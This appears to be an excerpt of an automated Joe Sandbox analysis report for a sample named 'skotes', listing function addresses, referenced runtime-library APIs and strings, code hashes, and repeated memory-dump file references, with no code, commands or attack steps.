Instruction ID: 7f363906509e7cbdec3faaf975ea100b276b41eb578d9af4c1e019d2fbcd92ee
Opcode Fuzzy Hash: db732841ef3615afc9f58942f62f6c3090995b92666645bd566928bd07224895
Instruction Fuzzy Hash: B521AC315217159FCB25EF65D9908AAF3F6FF6C300700495EE442A7651CB70B945CBA2

Function 0022727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 002272BE

Strings

.bat, xrefs: 002272ED
.cmd, xrefs: 002272DC
.exe, xrefs: 002272CB
.com, xrefs: 002272FE

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: c9d731185eb0a0ef3d9358ea659596f05dd49ba4a7d3e4c7302a92c2f41406db
Instruction ID: 2e3b8b5173684ebf02d5b8d67a437c73a8b31a66fb2064f2bebc74530cfb32fc
Opcode Fuzzy Hash: c9d731185eb0a0ef3d9358ea659596f05dd49ba4a7d3e4c7302a92c2f41406db
Instruction Fuzzy Hash: 81012B27B3C63339661A54DABD0276713888BD3BB4B25402BFC54F71C1DF44DC6225A0

Function 0020FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0020FB06

Strings

GetCurrentProcessorNumberEx, xrefs: 0020FABE
GetThreadGroupAffinity, xrefs: 0020FA93
kernel32.dll, xrefs: 0020FA7A
SetThreadGroupAffinity, xrefs: 0020FA87

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: a2f3439d646a8d7895b6f18d1481c09d49ed943c3a2cea7df76c742b1855d81e
Instruction ID: ae21114e04e6089329cfd4bf342af79056af73a28cbd0b1eb47c8da9ce80cb0c
Opcode Fuzzy Hash: a2f3439d646a8d7895b6f18d1481c09d49ed943c3a2cea7df76c742b1855d81e
Instruction Fuzzy Hash: 480121256F13152DE720BBB8AD8AAE735DC9E457187201936B440E25C3EEF4E8704564

Function 00222097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 002220B7

Part of subcall function 0021CAF3: Mailbox.LIBCMT ref: 0021CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 002220C8
StructuredWorkStealingQueue.LIBCMT ref: 002220FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0022210F

Strings

e, xrefs: 002220D9

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 0419881bf8d6aa428024bb7833fa81df525a933063125a25a98160b8c03c7ae1
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 30119835520125FBDB15DEA9E841AAB73A4EF11324B248159FC159F103DBB2DA39CF90

Function 0020D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0020D0A5

Strings

WakeAllConditionVariable, xrefs: 0020D069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0020D03B
SleepConditionVariableCS, xrefs: 0020D05D
kernel32.dll, xrefs: 0020D04C

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 0ddd6b365f7e8e69291125f562427edf6819d15c9c7e9e8539af26e8746be647
Instruction ID: 965f67c3ad28490bbabe90bb5263ccc812fe535cb019d0b8cfd87976a0e18682
Opcode Fuzzy Hash: 0ddd6b365f7e8e69291125f562427edf6819d15c9c7e9e8539af26e8746be647
Instruction Fuzzy Hash: 1501F760AE37226AE7316FB4AC05E5B21898B82B95F052910BC44E31C0DAE0EC218564

Function 0021E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0021E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0021E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0021E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0021E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0021E9DC

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 1c877c1622ee8508b0bf5f813a79465babf5e4524d0f5c499c8322123479940b
Instruction ID: 128414891f44ace105334fa2a58b21b1bc34e1723ccdf5cc9b122e5cf1e56c88
Opcode Fuzzy Hash: 1c877c1622ee8508b0bf5f813a79465babf5e4524d0f5c499c8322123479940b
Instruction Fuzzy Hash: 2D416075A10219EFCF09DF64C998AADB7B2FF58310F018159E905A7390CB70AD51CF81

Function 0021D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0021D344
ListArray.LIBCONCRT ref: 0021D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0021D370
ListArray.LIBCONCRT ref: 0021D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0021D3B3

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

